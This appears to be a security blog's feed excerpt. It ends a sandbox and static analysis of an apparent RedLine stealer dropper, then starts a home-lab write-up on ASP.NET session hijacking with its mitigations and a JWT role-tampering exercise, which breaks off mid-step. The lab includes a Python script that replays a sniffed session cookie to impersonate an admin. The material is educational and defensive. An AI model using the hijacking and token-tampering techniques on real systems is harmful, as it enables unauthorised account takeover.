&lt;em&gt;Imports from &lt;code&gt;ADVAPI32.DLL&lt;/code&gt;, &lt;code&gt;KERNEL32.DLL&lt;/code&gt;, &lt;code&gt;GDI32.DLL&lt;/code&gt;, &lt;code&gt;USER32.DLL&lt;/code&gt;, &lt;code&gt;MSVCRT.DLL&lt;/code&gt;, &lt;code&gt;CABINET.DLL&lt;/code&gt;, and &lt;code&gt;VERSION.DLL&lt;/code&gt;, plus several unresolved delay-load dependencies. The &lt;code&gt;CABINET.DLL&lt;/code&gt; import lines up with the &quot;Win32 Cabinet Self-Extractor&quot; identity seen in the version resource&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;| DLL | Legitimate Use | Malware-relevant Abuse |
|---|---|---|
| &lt;code&gt;ADVAPI32.DLL&lt;/code&gt; | Registry, services, security | Persistence via Run keys, privilege escalation, credential access |
| &lt;code&gt;KERNEL32.DLL&lt;/code&gt; | Processes, files, memory | Code injection, payload execution, anti-debugging |
| &lt;code&gt;CABINET.DLL&lt;/code&gt; | Cabinet (.cab) extraction | Unpacks and drops the embedded payload at runtime |
| &lt;code&gt;MSVCRT.DLL&lt;/code&gt; | C runtime functions | Keeps the custom-compiled payload running correctly |
| &lt;code&gt;VERSION.DLL&lt;/code&gt; | File/OS version checks | Fingerprints the target environment |&lt;/p&gt;
&lt;h3&gt;Resource Hacker&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/17.bA4ygcyk_ZGm5UW.webp&quot; alt=&quot;Resource Hacker Version Info&quot;&gt;
&lt;em&gt;Version Info resource — CompanyName &quot;Microsoft Corporation&quot;, FileDescription &quot;Win32 Cabinet Self-Extractor&quot;, FileVersion &lt;code&gt;11.00.17763.1&lt;/code&gt;, InternalName &quot;Wextract&quot;, OriginalFilename &quot;WEXTRACT.EXE .MUI&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/18.CfIzh9Sf_pWmIX.webp&quot; alt=&quot;Resource Hacker Dialog resource&quot;&gt;
&lt;em&gt;Dialog 2002 — a genuine &quot;Temporary folder&quot; extraction prompt with Browse/OK/Cancel controls. This is the real UI of Windows&apos; own &lt;code&gt;wextract.exe&lt;/code&gt; cabinet self-extractor, not a custom-built decoy dialog&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Detect It Easy (DiE)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/19.CyjWuFoB_Z1lHdJ7.webp&quot; alt=&quot;Detect It Easy scan&quot;&gt;
&lt;em&gt;DiE v3.10 — PE32, 1.83 MiB, Entry point &lt;code&gt;00406A60&lt;/code&gt;, 5 sections. Linker: Microsoft Linker 14.13.26213. Compiler: Microsoft Visual C/C++ 19.13.26213 (Visual Studio 2017 v15.6). Heuristic packer flag: &quot;Compressed or packed data [High entropy + Section 3 (&apos;.rsrc&apos;) compressed]&quot;. Identified as a Microsoft Cabinet SFX (&lt;code&gt;v11.00.17763.1&lt;/code&gt;) archiving 2 files at 94.7% compression&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;DiE&apos;s SFX/CAB identification, combined with the &lt;code&gt;CABINET.DLL&lt;/code&gt; import and the real &quot;Temporary folder&quot; dialog above, confirms this binary is a genuine, unmodified &lt;code&gt;wextract.exe&lt;/code&gt; — Windows&apos; own self-extracting cabinet utility — repurposed to carry and drop an embedded payload rather than being a custom packer.&lt;/p&gt;
&lt;h3&gt;PEstudio&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/20.D74J50sl_Z1xTqL8.webp&quot; alt=&quot;PEstudio full analysis&quot;&gt;
&lt;em&gt;PEstudio 9.61 — entry-point &lt;code&gt;0x00006A60&lt;/code&gt; (section &lt;code&gt;.idata&lt;/code&gt;), entropy &lt;strong&gt;7.976&lt;/strong&gt;, file signature &quot;Microsoft Linker 14.13&quot;, VirusTotal score 57/71 pulled inline, debug file &lt;code&gt;wextract.pdb&lt;/code&gt;, version &lt;code&gt;original-file-name&lt;/code&gt; = &quot;WEXTRACT.EXE .MUI&quot;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;PEstudio&apos;s entropy reading (7.976) is noticeably higher than PEiD&apos;s (6.19) — the two tools scope their entropy calculation differently (whole file vs. specific regions), but both point the same direction: parts of this binary are compressed/obfuscated, consistent with the embedded CAB payload.&lt;/p&gt;
&lt;h3&gt;ExifTool&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/21.Zn_mctjo_1od6DF.webp&quot; alt=&quot;ExifTool metadata dump&quot;&gt;
&lt;em&gt;ExifTool v13.27 — File OS: Windows NT, Entry Point &lt;code&gt;0x6a60&lt;/code&gt;, Subsystem: Windows GUI, Company Name: Microsoft Corporation, File Description: &quot;Win32 Cabinet Self-Extractor&quot;, Original File Name: &quot;WEXTRACT.EXE .MUI&quot;, PDB File Name: &lt;code&gt;wextract.pdb&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key finding:&lt;/strong&gt; the PDB path, version resource, and imports are all internally consistent with the real Microsoft &lt;code&gt;wextract.exe&lt;/code&gt; — this isn&apos;t spoofed metadata bolted onto a custom dropper, it&apos;s a legitimate signed-looking Windows component being used as a carrier for a malicious payload extracted at runtime.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 4: Dynamic Analysis&lt;/h2&gt;
&lt;h3&gt;AnyRun Sandbox&lt;/h3&gt;
&lt;p&gt;The sample was detonated in &lt;a href=&quot;https://any.run/&quot;&gt;AnyRun&lt;/a&gt; for automated behavioral analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/22.B4E01kQF_Z2svlEJ.webp&quot; alt=&quot;AnyRun process tree and network connections&quot;&gt;
&lt;em&gt;Process tree: &lt;code&gt;explorer.exe&lt;/code&gt; → &lt;code&gt;248fcc90...907b.exe&lt;/code&gt; → &lt;code&gt;Yt8gc85.exe&lt;/code&gt; → &lt;code&gt;GY4IC43.exe&lt;/code&gt; → &lt;code&gt;hE8Zq97.exe&lt;/code&gt; → &lt;code&gt;1Zn59od7.exe&lt;/code&gt; → &lt;code&gt;AppLaunch.exe&lt;/code&gt; / &lt;code&gt;WerFault.exe&lt;/code&gt;, with a sibling &lt;code&gt;2PO9885.exe&lt;/code&gt;. Network panel shows 4 HTTP requests, 79 connections, and 76 DNS requests, including outbound traffic to Microsoft-owned ASNs and an Akamai-hosted &lt;code&gt;crl.microsoft...&lt;/code&gt; endpoint — legitimate-looking infrastructure used as cover traffic&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/23.Ba3k2FdP_Z1I3zQc.webp&quot; alt=&quot;AnyRun browser tab — Facebook login&quot;&gt;
&lt;em&gt;The sandboxed browser navigates to &lt;code&gt;facebook.com/login&lt;/code&gt; (&quot;Log Into Facebook&quot;) during the run — consistent with a stealer probing for saved browser credentials/session data&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/24.CwfGlXDk_1FIb9z.webp&quot; alt=&quot;AnyRun browser tab — Google sign-in&quot;&gt;
&lt;em&gt;A second tab opens &lt;code&gt;accounts.google.com&lt;/code&gt; (&quot;Sign in - Google Accounts&quot;) in the same session — the same credential/session-harvesting pattern targeting a second major account provider&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/25.B-mtEqh9_Z198hv1.webp&quot; alt=&quot;AnyRun behavior activities table&quot;&gt;
&lt;em&gt;AnyRun&apos;s activity classification: &lt;strong&gt;MALICIOUS&lt;/strong&gt; — execution of an untrusted-certificate binary (&lt;code&gt;5uR3IF9.exe&lt;/code&gt;), code injection by &lt;code&gt;AppLaunch.exe&lt;/code&gt;, and &lt;code&gt;explorer.exe&lt;/code&gt; itself receiving injected code. &lt;strong&gt;SUSPICIOUS&lt;/strong&gt; — legitimate Windows executables dropped/overwritten, a Microsoft-named app launched from a non-standard path, child processes that crash on execution, commands run from a &lt;code&gt;.bat&lt;/code&gt; file via &lt;code&gt;CMD.EXE&lt;/code&gt;, and a connection to an unusual port. &lt;strong&gt;INFO&lt;/strong&gt; — language/locale checks, temp-directory file creation, computer-name and machine-GUID registry reads&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Process Monitor (ProcMon)&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/26.Djdm5sYe_xdCFj.webp&quot; alt=&quot;ProcMon real-time activity capture&quot;&gt;
&lt;em&gt;ProcMon capturing the sample&apos;s thread lifecycle, large &lt;code&gt;IRP_MJ_READ&lt;/code&gt; operations against &lt;code&gt;C:\Windows\System32\wow64win.dll&lt;/code&gt;, and a run of &lt;code&gt;RegQueryKey&lt;/code&gt;/&lt;code&gt;RegOpenKey&lt;/code&gt; calls against &lt;code&gt;HKLM&lt;/code&gt;/&lt;code&gt;HKCU&lt;/code&gt;, including &lt;code&gt;HKCU\Software\Microsoft\CTF\DirectSwitchHook&lt;/code&gt; — CTF (input/IME) key access is a pattern often seen around process-injection setup on Windows&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Process Explorer&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/27.B3xeg3AO_1lgapb.webp&quot; alt=&quot;Process Explorer process details&quot;&gt;
&lt;em&gt;The running sample (PID 7032) reports 5,080 K private bytes / 12,792 K working set, described as &quot;Win32 Cabinet Self-Extractor&quot; by &quot;Microsoft Corporation&quot; — but the Verified Signer column reads &lt;strong&gt;&quot;(No signature was present in the subject) Microsoft Corporation&quot;&lt;/strong&gt;. The binary claims a Microsoft identity through its version resource while carrying no actual Authenticode signature — a reliable static-vs-runtime tell that Process Explorer surfaces directly&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;RegShot — Registry &amp;#x26; File System Comparison&lt;/h3&gt;
&lt;p&gt;A before/after snapshot across &lt;code&gt;C:\WINDOWS&lt;/code&gt; and &lt;code&gt;C:\Users\r3&lt;/code&gt; was taken to capture every persistence and file-system change made during execution.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/28.CnU79YpU_1SfnyS.webp&quot; alt=&quot;RegShot configuration&quot;&gt;
&lt;em&gt;RegShot 1.9.0 x64 — scan directories set to &lt;code&gt;C:\WINDOWS;C:\Users\r3&lt;/code&gt;, output path &lt;code&gt;C:\Users\r3\Desktop&lt;/code&gt;, ready to take the first and second shots around detonation&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/29.BVko-eXh_ZlxJ94.webp&quot; alt=&quot;RegShot — registry keys added&quot;&gt;
&lt;em&gt;&lt;strong&gt;9 keys added&lt;/strong&gt;, all under &lt;code&gt;HKU\...\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags&lt;/code&gt; / &lt;code&gt;BagMRU&lt;/code&gt; / &lt;code&gt;Shell&lt;/code&gt; — including a new GUID-named subkey &lt;code&gt;{80213E82-BCFD-4C4F-8817-BB27601267A9}&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/30.DdgGd1RD_Z1pIy0l.webp&quot; alt=&quot;RegShot — registry values added&quot;&gt;
&lt;em&gt;&lt;strong&gt;44 values added&lt;/strong&gt; — Explorer &lt;code&gt;RecentDocs&lt;/code&gt; MRU entries and a full set of Shell Bags view-state values (&lt;code&gt;MRUListEx&lt;/code&gt;, &lt;code&gt;IconSize&lt;/code&gt;, &lt;code&gt;LogicalViewMode&lt;/code&gt;, &lt;code&gt;Sort&lt;/code&gt;, &lt;code&gt;GroupByKey:FMTID/PID&lt;/code&gt;) tied to the new Bags key&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/31.DKT3Z-S__2nAI8b.webp&quot; alt=&quot;RegShot — registry values modified&quot;&gt;
&lt;em&gt;&lt;strong&gt;32 values modified&lt;/strong&gt;, notably &lt;code&gt;HKLM\SYSTEM\ControlSet001\Services\bam\State\UserSettings\...&lt;/code&gt; entries referencing &lt;code&gt;Program Files\Google\Chrome\Application\chrome.exe&lt;/code&gt; — Background Activity Moderator tracking data for Chrome, despite Chrome never appearing in the sample&apos;s own process tree&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/32.DIGDDBBf_Z1zQKsQ.webp&quot; alt=&quot;RegShot — files modified and totals&quot;&gt;
&lt;em&gt;&lt;strong&gt;5 files modified&lt;/strong&gt;: two Chrome prefetch files (&lt;code&gt;CHROME.EXE-5A1054B0.pf&lt;/code&gt;, &lt;code&gt;CHROME.EXE-5A1054B7.pf&lt;/code&gt;), &lt;code&gt;SEARCHAPP.EXE-C8E48E53.pf&lt;/code&gt;, and both &lt;code&gt;NTUSER.DAT.LOG&lt;/code&gt; transaction logs under the NetworkService profile. &lt;strong&gt;Total changes: 90&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The Chrome-related BAM and prefetch touches, paired with the AnyRun evidence of the sample opening Facebook/Google login pages, line up with RedLine Stealer&apos;s known focus on harvesting browser-stored credentials — the malware is interacting with Chrome&apos;s on-disk artifacts without ever spawning &lt;code&gt;chrome.exe&lt;/code&gt; itself as a visible child process.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 5: Behavioral Summary&lt;/h2&gt;
&lt;p&gt;| Category | Observed Behavior |
|---|---|
| &lt;strong&gt;Network&lt;/strong&gt; | 79 connections / 76 DNS requests in AnyRun; traffic blended with legitimate Microsoft/Akamai-hosted endpoints |
| &lt;strong&gt;Persistence&lt;/strong&gt; | 9 new Shell Bags registry keys, 44 new values under &lt;code&gt;HKCU\...\Shell\Bags&lt;/code&gt;; BAM service-tracking entries touched |
| &lt;strong&gt;Process&lt;/strong&gt; | Multi-stage child process chain (&lt;code&gt;Yt8gc85.exe&lt;/code&gt; → &lt;code&gt;GY4IC43.exe&lt;/code&gt; → &lt;code&gt;hE8Zq97.exe&lt;/code&gt; → &lt;code&gt;1Zn59od7.exe&lt;/code&gt;); code injected into &lt;code&gt;explorer.exe&lt;/code&gt; and by &lt;code&gt;AppLaunch.exe&lt;/code&gt; |
| &lt;strong&gt;File System&lt;/strong&gt; | Files dropped/overwritten under legitimate Windows paths; Chrome and SearchApp prefetch files modified; 90 total registry/file changes recorded by RegShot |
| &lt;strong&gt;Data Theft&lt;/strong&gt; | Browser navigation to Facebook and Google account pages; family known to target browser credentials, crypto wallets, FileZilla, Discord, Telegram, and VPN clients |
| &lt;strong&gt;Evasion&lt;/strong&gt; | Genuine (unsigned-in-practice) &lt;code&gt;wextract.exe&lt;/code&gt; carrier abused as a dropper; conflicting packer signals across PEiD/DiE/PEstudio; unsigned binary reported as Microsoft Corporation |&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Phase 6: Conclusions &amp;#x26; Takeaways&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;What this sample does:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uses a real Windows cabinet self-extractor (&lt;code&gt;wextract.exe&lt;/code&gt;) as a carrier to drop and execute a multi-stage payload chain&lt;/li&gt;
&lt;li&gt;Injects code into &lt;code&gt;explorer.exe&lt;/code&gt; and spawns a sequence of short-lived child processes&lt;/li&gt;
&lt;li&gt;Opens Facebook and Google account pages in the sandboxed browser, consistent with credential/session harvesting&lt;/li&gt;
&lt;li&gt;Touches Chrome&apos;s prefetch and BAM service-tracking data despite never spawning &lt;code&gt;chrome.exe&lt;/code&gt; directly&lt;/li&gt;
&lt;li&gt;Writes 9 new registry keys and 44 new values for Shell Bags-based persistence/state tracking&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Lessons from the toolchain:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;No single static tool is authoritative.&lt;/strong&gt; PEiD&apos;s own four checks disagreed with each other (Not Packed / Packed) on the same file; entropy alone ranged from 6.19 (PEiD) to 7.976 (PEstudio) depending on scope.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&quot;Legitimate&quot; metadata isn&apos;t proof of legitimacy.&lt;/strong&gt; The PDB path, version resource, and imports all point to a genuine &lt;code&gt;wextract.exe&lt;/code&gt; — but Process Explorer shows it carries no real digital signature, and it&apos;s being used to smuggle a payload.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dynamic analysis resolves what static analysis leaves ambiguous.&lt;/strong&gt; AnyRun&apos;s process tree and RegShot&apos;s before/after diff turned a &quot;maybe packed, maybe not&quot; static picture into a concrete, multi-stage injection and persistence chain.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cross-referencing artifacts matters.&lt;/strong&gt; The imphash on MalwareBazaar linking this sample to thousands of other RedLine/Amadey/Smoke Loader binaries was as useful for family attribution as any single tool&apos;s verdict.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;References:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://bazaar.abuse.ch/&quot;&gt;MalwareBazaar&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.virustotal.com/&quot;&gt;VirusTotal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://any.run/&quot;&gt;AnyRun&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/&quot;&gt;Sysinternals Tools&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="/_astro/malware-icon-1024x569.DQ06FjKg.jpg"/><enclosure url="/_astro/malware-icon-1024x569.DQ06FjKg.jpg"/></item><item><title>Session Hijacking &amp; JWT Tampering</title><link>https://zy0ud.me/blog/eh2-lab4-session-hijacking-jwt</link><guid isPermaLink="true">https://zy0ud.me/blog/eh2-lab4-session-hijacking-jwt</guid><description>This lab demonstrates a complete session hijacking attack chain against an ASP.NET web application, followed by the proper mitigations. The attack…</description><pubDate>Fri, 22 May 2026 07:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { Aside } from &apos;astro-pure/user&apos;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This lab demonstrates a complete &lt;strong&gt;session hijacking attack chain&lt;/strong&gt; against an ASP.NET web application, followed by the proper mitigations. The attack leverages an unprotected session cookie transmitted over HTTP — captured via Firefox&apos;s Network panel and Wireshark, then replayed with a Python script to impersonate an authenticated user without ever knowing the password. The lab also includes a &lt;strong&gt;JWT tampering bonus&lt;/strong&gt; that shows how weak token validation can be exploited.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Environment:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Kali Linux (Attacker):&lt;/strong&gt; &lt;code&gt;192.168.91.128&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Windows Server 2022 (Target):&lt;/strong&gt; &lt;code&gt;192.168.91.129&lt;/code&gt; — IIS + ASP.NET 4.8 + SQL Server Express&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Step 1: Environment Setup&lt;/h2&gt;
&lt;p&gt;Connectivity between VMs verified (same setup as previous labs — Host-Only network, static IPs).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 2: Install IIS &amp;#x26; ASP.NET 4.8 (S1)&lt;/h2&gt;
&lt;p&gt;Installed via Server Manager → Add Roles → Web Server (IIS) → Application Development:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASP.NET 4.8&lt;/li&gt;
&lt;li&gt;.NET Extensibility 4.8&lt;/li&gt;
&lt;li&gt;ISAPI Extensions + ISAPI Filters&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;iisreset
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browsed to &lt;code&gt;http://localhost/&lt;/code&gt; to confirm IIS is running.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/0.z5AvgBWM_Fta1t.webp&quot; alt=&quot;IIS default welcome page&quot;&gt;
&lt;em&gt;IIS installed and running — default welcome page confirmed&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 3 &amp;#x26; 4: Deploy the Vulnerable Login App&lt;/h2&gt;
&lt;p&gt;Created &lt;code&gt;C:\inetpub\wwwroot\VulnerableApp\Login.aspx&lt;/code&gt; — a login page that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Authenticates against the &lt;code&gt;SecureDB.Users&lt;/code&gt; table via parameterized query&lt;/li&gt;
&lt;li&gt;Issues an &lt;code&gt;ASP.NET_SessionId&lt;/code&gt; cookie &lt;strong&gt;without&lt;/strong&gt; &lt;code&gt;HttpOnly&lt;/code&gt; or &lt;code&gt;Secure&lt;/code&gt; flags&lt;/li&gt;
&lt;li&gt;Transmits everything over &lt;strong&gt;plain HTTP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Added the &lt;code&gt;VulnerableApp&lt;/code&gt; alias in IIS Manager → Default Web Site → Add Application (.NET CLR v4.0, Integrated pipeline), then ran &lt;code&gt;iisreset&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 6: Capture the Session Cookie in Firefox (S2)&lt;/h2&gt;
&lt;p&gt;On Kali, opened Firefox → ☰ → Web Developer → Network (started recording).&lt;/p&gt;
&lt;p&gt;Browsed to &lt;code&gt;http://192.168.91.129/VulnerableApp/Login.aspx&lt;/code&gt; and submitted &lt;code&gt;admin&lt;/code&gt; / &lt;code&gt;admin123&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In the request list, clicked the &lt;code&gt;POST /Login.aspx&lt;/code&gt; entry (status &lt;strong&gt;302&lt;/strong&gt;) → Response Headers → found:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Set-Cookie: ASP.NET_SessionId=&amp;#x3C;SESSION_ID&gt;; path=/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;No &lt;code&gt;HttpOnly&lt;/code&gt;. No &lt;code&gt;Secure&lt;/code&gt;. The session ID is fully visible in plaintext.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/1.Bo2XbeQc_wTP0W.webp&quot; alt=&quot;Firefox Network panel showing Set-Cookie in POST 302 response&quot;&gt;
&lt;em&gt;ASP.NET_SessionId exposed in plaintext response headers — no security flags&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 7: Sniff the Cookie in Wireshark (S3)&lt;/h2&gt;
&lt;p&gt;On Kali:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;sudo wireshark
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Selected the correct interface, started capture. Applied display filter:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http.response.code == 302
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Re-submitted the login — located the 302 packet → expanded &lt;strong&gt;Hypertext Transfer Protocol → Set-Cookie&lt;/strong&gt; → same session ID visible in the captured packet.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/2.Bki6OsPV_14q6sC.webp&quot; alt=&quot;Wireshark showing Set-Cookie in HTTP 302 packet&quot;&gt;
&lt;em&gt;Session cookie captured in Wireshark — transmitted in cleartext over HTTP&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 8: Hijack the Session with Python (S4)&lt;/h2&gt;
&lt;p&gt;With the captured &lt;code&gt;ASP.NET_SessionId&lt;/code&gt;, wrote &lt;code&gt;session_hijack.py&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;#!/usr/bin/env python3
import requests

URL = &apos;http://192.168.91.129/VulnerableApp/Login.aspx&apos;
SID = &apos;&amp;#x3C;CAPTURED_SESSION_ID&gt;&apos;

resp = requests.get(URL, headers={&apos;Cookie&apos;: f&apos;ASP.NET_SessionId={SID}&apos;})
print(f&quot;Status: {resp.status_code} {resp.reason}\n&quot;)
print(&quot;\n&quot;.join(resp.text.splitlines()[:5]))
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;chmod +x session_hijack.py
./session_hijack.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; &lt;code&gt;Status: 200 OK&lt;/code&gt; — followed by &lt;code&gt;&amp;#x3C;h2&gt;Welcome, admin!&amp;#x3C;/h2&gt;&lt;/code&gt;. Full session takeover without a password.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/3.B7DjpIvf_Z1rKjcd.webp&quot; alt=&quot;Python session hijack output showing Welcome admin&quot;&gt;
&lt;em&gt;Session hijacked — server accepted the stolen cookie and returned the authenticated page&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Step 9: HTTPS + Secure/HttpOnly Mitigation (S5, S6, S7)&lt;/h2&gt;
&lt;h3&gt;9a: Bind HTTPS on IIS&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-powershell&quot;&gt;New-SelfSignedCertificate -DnsName &quot;192.168.91.129&quot; -CertStoreLocation &quot;Cert:\LocalMachine\My&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then in IIS Manager → Default Web Site → Bindings → Add → Type: &lt;code&gt;https&lt;/code&gt;, Port: &lt;code&gt;443&lt;/code&gt;, selected the self-signed certificate → &lt;code&gt;iisreset&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/4.DeOjcKoN_Z1X2QbH.webp&quot; alt=&quot;IIS HTTPS binding dialog with port 443&quot;&gt;
&lt;em&gt;HTTPS binding on port 443 with self-signed certificate&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;9b: Replace Login.aspx with Hardened Version&lt;/h3&gt;
&lt;p&gt;The patched code sets &lt;code&gt;HttpOnly = true&lt;/code&gt; and &lt;code&gt;Secure = true&lt;/code&gt; on the session cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-csharp&quot;&gt;var cookie = new HttpCookie(&quot;ASP.NET_SessionId&quot;, Guid.NewGuid().ToString()) {
    HttpOnly = true,
    Secure = true,
    Path = &quot;/&quot;
};
Response.Cookies.Add(cookie);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Browsed to &lt;code&gt;https://192.168.91.129/VulnerableApp/Login.aspx&lt;/code&gt; (accepted cert warning), logged in, then opened Firefox → Storage → Cookies — confirmed both flags present.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/5.21BR9FJE_22sa7M.webp&quot; alt=&quot;Firefox Storage showing Secure and HttpOnly flags on session cookie&quot;&gt;
&lt;em&gt;Session cookie now has Secure + HttpOnly — no longer accessible via JavaScript or HTTP&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;9c: Verify the Hijack No Longer Works (S7)&lt;/h3&gt;
&lt;p&gt;Re-ran &lt;code&gt;session_hijack.py&lt;/code&gt; against the hardened endpoint — the server did &lt;strong&gt;not&lt;/strong&gt; return the welcome page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://zy0ud.me/_astro/6.DP8LdQkI_1yYgb0.webp&quot; alt=&quot;Python hijack output after mitigation — no welcome page&quot;&gt;
&lt;em&gt;Mitigation confirmed — stolen cookie rejected, session hijack blocked&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why the mitigation works:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Secure&lt;/code&gt; flag: cookie only sent over HTTPS — can&apos;t be sniffed in plaintext anymore&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HttpOnly&lt;/code&gt; flag: JavaScript can&apos;t read the cookie — eliminates XSS-based theft&lt;/li&gt;
&lt;li&gt;HTTPS: the entire session is encrypted in transit — Wireshark shows only ciphertext&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;Bonus: JWT Tampering Challenge (B1, B2)&lt;/h2&gt;
&lt;h3&gt;Setup&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;pip3 install flask pyjwt
python3 jwt_demo.py
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Get a token
curl -s -X POST http://192.168.91.128:5000/login \
  -H &quot;Content-Type: application/json&quot; \
  -d &apos;{&quot;username&quot;:&quot;admin&quot;}&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Tamper the Token&lt;/h3&gt;
&lt;p&gt;Pasted the returned JWT into &lt;a href=&quot;https://jwt.io&quot;&gt;jwt.io&lt;/a&gt;, then:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Changed the payload: &lt;code&gt;&quot;role&quot;: &quot;user&quot;&lt;/code&gt; → &lt;code&gt;&quot;role&quot;: &quot;admin&quot;&lt;/code&gt;&lt;/li&gt;
